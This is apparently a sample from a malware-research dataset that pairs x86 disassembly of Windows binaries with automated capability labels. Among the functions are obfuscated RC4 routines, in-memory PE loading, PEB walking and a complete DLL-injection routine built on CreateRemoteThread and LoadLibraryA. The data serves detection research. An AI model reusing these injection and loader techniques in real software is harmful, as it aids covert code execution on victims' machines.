joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101bb164
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101d73cc], 0
mov byte [0x101d73d0], 0
mov dword [0x101d73c0], 0x12ba
mov dword [0x101d73c4], 0x639
mov dword [0x101d73c8], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101bb275
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x101d73d4], 0
mov dword [0x101d73c0], 0x19a
mov edx, dword [0x101d73cc]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x101d73d4], edi
mov dword [0x101d73c0], 0x1ec9
mov eax, edi
cdq
idiv ecx
mov dword [0x101d73cc], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x101d73d0], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov dword [0x101d73c4], 0x1ba8
mov dword [0x101d73c0], 0xfffffd12
mov cl, byte [0x101d73d0]
mov edx, dword [0x101d73cc]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x101d73c8]
add edx, 1
mov dword [0x101d73c8], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x101bb1b8
jmp 0x101bb2cb
mov eax, dword [ebp - 0x1c]
mov dword [0x101d73c4], 0x22b
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101d73c8]
add eax, 1
mov dword [0x101d73c8], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101bb275
xor eax, eax
mov ecx, dword [0x101d73c0]
add ecx, 0x1c54
mov dword [0x101d73c4], ecx
mov dword [0x101d73c8], 0
mov dword [ebp - 0x20], eax
jmp 0x101bb1b8
mov eax, dword [0x101d73c4]
add eax, 0xffffe839
mov dword [0x101d73c0], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101bb2e2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x101d73c8], 0
mov dword [0x101d73cc], 0
mov dword [0x101d73d8], 0
mov ebx, dword [0x101d73c4]
mov dword [ebp - 0x10], eax
mov eax, ebx
add eax, 0xffffed33
mov dword [0x101d73c0], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
mov eax, edi
mov dword [ebp - 0x14], eax
mov eax, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
je 0x101bb476
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
mov edi, 0x100
add edx, 1
mov dword [ebp - 0x30], eax
mov eax, edx
cdq
idiv edi
mov dword [0x101d73c8], edx
add ecx, 0xfffffeba
mov dword [0x101d73c0], ecx
mov ecx, dword [ebp - 0x24]
movzx ebx, byte [ecx + edx]
add ebx, esi
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x101d73cc], edx
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x101d73d0], cl
mov edi, dword [ebp - 0x24]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x101d73d0]
mov edx, dword [0x101d73cc]
mov byte [edi + edx], cl
mov dword [0x101d73c4], 0xac5
mov edx, dword [0x101d73c8]
movzx edx, byte [edi + edx]
mov ebx, dword [0x101d73cc]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov edx, dword [0x101d73c0]
and ebx, 0xff
mov dword [0x101d73d8], ebx
mov dword [0x101d73c4], 0x8a5
add edx, 0xffffe3a1
mov dword [0x101d73c0], edx
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x30]
mov ch, byte [edx + ebx]
mov dword [0x101d73c4], 0xfffff828
mov byte [0x101d73dd], ch
mov byte [0x101d73de], cl
xor ch, cl
mov byte [0x101d73dc], ch
mov dword [0x101d73c0], 0x137c
mov edx, dword [ebp - 0x20]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x101bb476
mov eax, dword [0x101d73c4]
mov ecx, dword [0x101d73c8]
mov edx, dword [0x101d73cc]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], esi
jmp 0x101bb353
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101bb4a3
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
call fcn.1000107d
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x2c], ecx
je 0x101bb4e4
jmp 0x101bb61b
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x24], ecx
je 0x101bb5a5
jmp 0x101bb586
lea eax, [esp + 0x30]
lea ecx, [esp + 0x40]
mov dword [esp], eax
mov dword [esp + 0x20], ecx
call fcn.101ba24c
mov ecx, 0xd39
lea edx, [0x101ba54a]
mov esi, dword [esp + 0x30]
mov dword [esp + 0x64], esi
mov dword [esp + 0x9c], 0x14c600
mov esi, dword [0x101d73ac]
mov dword [esp + 0x5c], esi
mov esi, dword [0x101d73b0]
mov dword [esp + 0x78], esi
mov esi, dword [0x101d73b4]
mov dword [esp + 0x88], esi
mov esi, dword [0x101d73b8]
mov dword [esp + 0x6c], esi
mov esi, dword [0x101d73bc]
mov dword [esp + 0x44], esi
mov dword [0x101d73c4], 0x1b67
mov dword [0x101d73c0], 0x23bf
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp word [eax], 0x5a4d
mov dword [esp + 0x28], eax
mov dword [esp + 0x10], ecx
je 0x101bb4c7
mov eax, 0x1a08
mov ecx, dword [esp + 0x28]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x101bb56b
mov eax, dword [esp + 0x28]
mov dword [esp + 0x60], eax
mov ecx, dword [esp + 0x24]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x4c], edx
mov edx, dword [esp + 0x10]
mov dword [0x101d73c4], edx
call fcn.101bb830
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x101bb613
lea eax, [esp + 0x40]
mov dword [0x101d73c4], 0x470
mov ecx, dword [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101bb6f2
mov ecx, esp
lea edx, [esp + 0x40]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x101d73c0], 0x1c65
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x101bb6f2
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x101d73c0], 0x195f
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov cl, byte [eax + 0x101bd582]
mov dl, byte [eax + 0x101bd553]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x30], eax
jne 0x101bb714
lea eax, [ebp - 0x24]
mov dword [0x101d73c4], 0x79a
mov dword [ebp - 0x34], eax
call fcn.101ba186
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.101bad59
mov dword [0x101d73c4], 0x266c
mov dword [0x101d73c0], 0x27b
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x101bb828
mov eax, dword [ebp - 0x38]
mov dword [0x101d73c4], 0x28b5
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.101bb03e
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x54], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 8], ecx
mov dword [0x101d73c4], 0xadb
mov dword [0x101d73c0], 0x6bf
add ecx, 0x1577
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x101bb81f
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x101bb830
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [0x101d73c4], 0x1293
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
je 0x101bb891
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
jl 0x101bb864
mov eax, dword [ebp - 0x18]
mov ecx, dword [0x101d73c0]
add ecx, 0xffffda3b
mov dword [0x101d73c0], ecx
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x101bb926
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x101bb926
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x101bb926
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x101bb926
mov eax, dword [0x101d73c4]
add eax, 0x19c0
mov dword [0x101d73c0], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x101bb926
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x101bb926
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x101bb92d
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x101bb92d
mov eax, dword [ebp - 0x20]
add esp, 0x20
pop ebp
ret
Function at 0x401350
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x1c]
cmp eax, 0xf
push ebx
push esi
lea esi, [ebp + 8]
cmova esi, dword [ebp + 8]
push edi
test ecx, ecx
je 0x401419
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x401416
push str.LoadLibraryA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
test eax, eax
je 0x401416
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013a7
sub ecx, edx
push 4
push 0x3000
lea eax, [ecx + 1]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x401416
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013d0
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401416
push 0
push 0
push ebx
push dword [ebp - 4]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x401416
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
push edi
call esi
mov eax, dword [ebp + 0x1c]
mov bl, 1
jmp 0x40141b
mov eax, dword [ebp + 0x1c]
xor bl, bl
cmp eax, 0xf
jbe 0x401450
mov edx, dword [ebp + 8]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x401446
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401446
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401d40
add esp, 8
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4025a2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4025e1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4025e1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4025e1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4025e1
cmp dword [ecx + 0x74], 0xe
jbe 0x4025e1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x405610
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
test esi, esi
jbe 0x40563d
test cl, 7
je 0x40563d
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4315a0]
dec esi
inc ecx
jmp 0x40561e
cmp esi, 8
jb 0x4056e0
mov edx, esi
shr edx, 3
mov dword [ebp + 8], edx
push ebx
mov edx, dword [ecx + 4]
xor eax, dword [ecx]
mov ebx, edx
shr ebx, 0x10
movzx edi, bl
mov edi, dword [edi*4 + 0x4319a0]
mov ebx, edx
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x4315a0]
mov ebx, edx
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x431da0]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x4325a0]
mov ebx, eax
shr ebx, 0x10
movzx ebx, bl
xor edi, dword [ebx*4 + 0x4329a0]
mov ebx, eax
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x432da0]
movzx edx, dl
xor edi, dword [edx*4 + 0x4321a0]
movzx eax, al
xor edi, dword [eax*4 + 0x4331a0]
sub esi, 8
add ecx, 8
dec dword [ebp + 8]
mov eax, edi
jne 0x40564f
pop ebx
jmp 0x4056e0
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4315a0]
dec esi
inc ecx
test esi, esi
ja 0x4056cc
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x4059a1
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push 0x40
pop ebx
cmp esi, ebx
jbe 0x4059eb
lea eax, [ebp - 0x1d0]
push eax
call 0x4106ae
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x1d0]
push eax
call 0x4109b0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x1d0]
push eax
call 0x410a29
lea eax, [ebp - 0x80]
push 0x20
mov dword [ebp + 8], eax
pop esi
xor ecx, ecx
push edi
test esi, esi
jbe 0x405a0b
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x40]
sub edi, eax
lea eax, [ebp + ecx - 0x40]
mov dl, byte [edi + eax]
xor dl, 0x36
inc ecx
mov byte [eax], dl
cmp ecx, esi
jb 0x4059fa
cmp esi, ebx
jae 0x405a23
mov ecx, ebx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x40]
push 0x36
push eax
call fcn.0041a820
add esp, 0xc
lea eax, [ebp - 0xf0]
push eax
call 0x4106ae
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xf0]
push eax
call 0x4109b0
push dword [ebp + 0x14]
lea eax, [ebp - 0xf0]
push dword [ebp + 0x10]
push eax
call 0x4109b0
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0xf0]
push eax
call 0x410a29
lea eax, [ebp - 0x160]
push eax
call 0x4106ae
xor ecx, ecx
test esi, esi
jbe 0x405a8d
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x40]
sub edi, eax
lea eax, [ebp + ecx - 0x40]
mov dl, byte [edi + eax]
xor dl, 0x5c
inc ecx
mov byte [eax], dl
cmp ecx, esi
jb 0x405a7c
pop edi
cmp esi, ebx
jae 0x405aa6
mov ecx, ebx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x40]
push 0x5c
push eax
call fcn.0041a820
add esp, 0xc
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x160]
push eax
call 0x4109b0
push 0x20
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x160]
push eax
call 0x4109b0
push dword [ebp + 0x18]
lea eax, [ebp - 0x160]
push eax
call 0x410a29
pop esi
pop ebx
leave
ret 0x14
Function at 0x401028
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4d6f51
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push esi
mov esi, ecx
push 0
mov dword [esp + 8], esi
call sub.MFC71.DLL_CWinApp::CWinApp
push 0x4e4768
lea ecx, [esp + 0xc]
mov dword [esp + 0x30], 0
mov dword [esi], 0x4e46a8
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push 1
push 1
push eax
mov byte [esp + 0x38], 1
call fcn.004055e0
add esp, 0xc
lea ecx, [esp + 8]
mov byte [esp + 0x2c], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [esp + 0x24]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret

Function at 0x401fc0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4d7103
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov eax, dword [esp + 0x34]
push esi
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 8], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov ecx, dword [esp + 0x3c]
push ecx
mov ecx, eax
mov dword [esp + 0x30], 1
call dword [0x4e4384]
mov esi, dword [esp + 0x34]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 8]
mov dword [esp + 4], 1
mov byte [esp + 0x2c], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [esp + 0x24]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret
Function at 0x402040
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4d7103
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov eax, dword [esp + 0x34]
push esi
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 8], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov ecx, dword [esp + 0x3c]
push ecx
mov ecx, eax
mov dword [esp + 0x30], 1
call dword [0x4e4380]
mov esi, dword [esp + 0x34]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 8]
mov dword [esp + 4], 1
mov byte [esp + 0x2c], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [esp + 0x24]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret
Function at 0x405290
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4d74a3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov eax, dword [esp + 0x34]
push esi
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 8], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov ecx, dword [esp + 0x3c]
push ecx
mov ecx, eax
mov dword [esp + 0x30], 1
call dword [sym.imp.MSVCP71.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_]
mov esi, dword [esp + 0x34]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 8]
mov dword [esp + 4], 1
mov byte [esp + 0x2c], 0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [esp + 0x24]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret
Function at 0x406540
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9c
mov eax, dword [0x5470bc]
push ebx
xor ebx, ebx
cmp eax, ebx
push esi
push edi
je 0x40656e
mov ecx, dword [0x5470b0]
xor eax, eax
cmp ecx, ebx
setne al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, 0x24
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, dword [esp + 0x20]
xor ecx, ecx
cmp edx, 2
sete cl
push str.USER32
mov dword [0x5470c0], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
cmp esi, ebx
je 0x406643
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4e5488
push esi
call edi
cmp eax, ebx
mov dword [0x5470a0], eax
je 0x406643
push str.MonitorFromWindow
push esi
call edi
cmp eax, ebx
mov dword [0x5470a4], eax
je 0x406643
push str.MonitorFromRect
push esi
call edi
cmp eax, ebx
mov dword [0x5470a8], eax
je 0x406643
push str.MonitorFromPoint
push esi
call edi
cmp eax, ebx
mov dword [0x5470ac], eax
je 0x406643
push str.EnumDisplayMonitors
push esi
call edi
cmp eax, ebx
mov dword [0x5470b4], eax
je 0x406643
push str.GetMonitorInfoA
push esi
call edi
cmp eax, ebx
mov dword [0x5470b0], eax
je 0x406643
push str.EnumDisplayDevicesA
push esi
call edi
cmp eax, ebx
mov dword [0x5470b8], eax
je 0x406643
mov eax, 1
mov dword [0x5470bc], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov dword [0x5470a0], ebx
mov dword [0x5470a4], ebx
mov dword [0x5470a8], ebx
mov dword [0x5470ac], ebx
mov dword [0x5470b0], ebx
mov dword [0x5470b4], ebx
mov dword [0x5470b8], ebx
mov dword [0x5470bc], 1
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret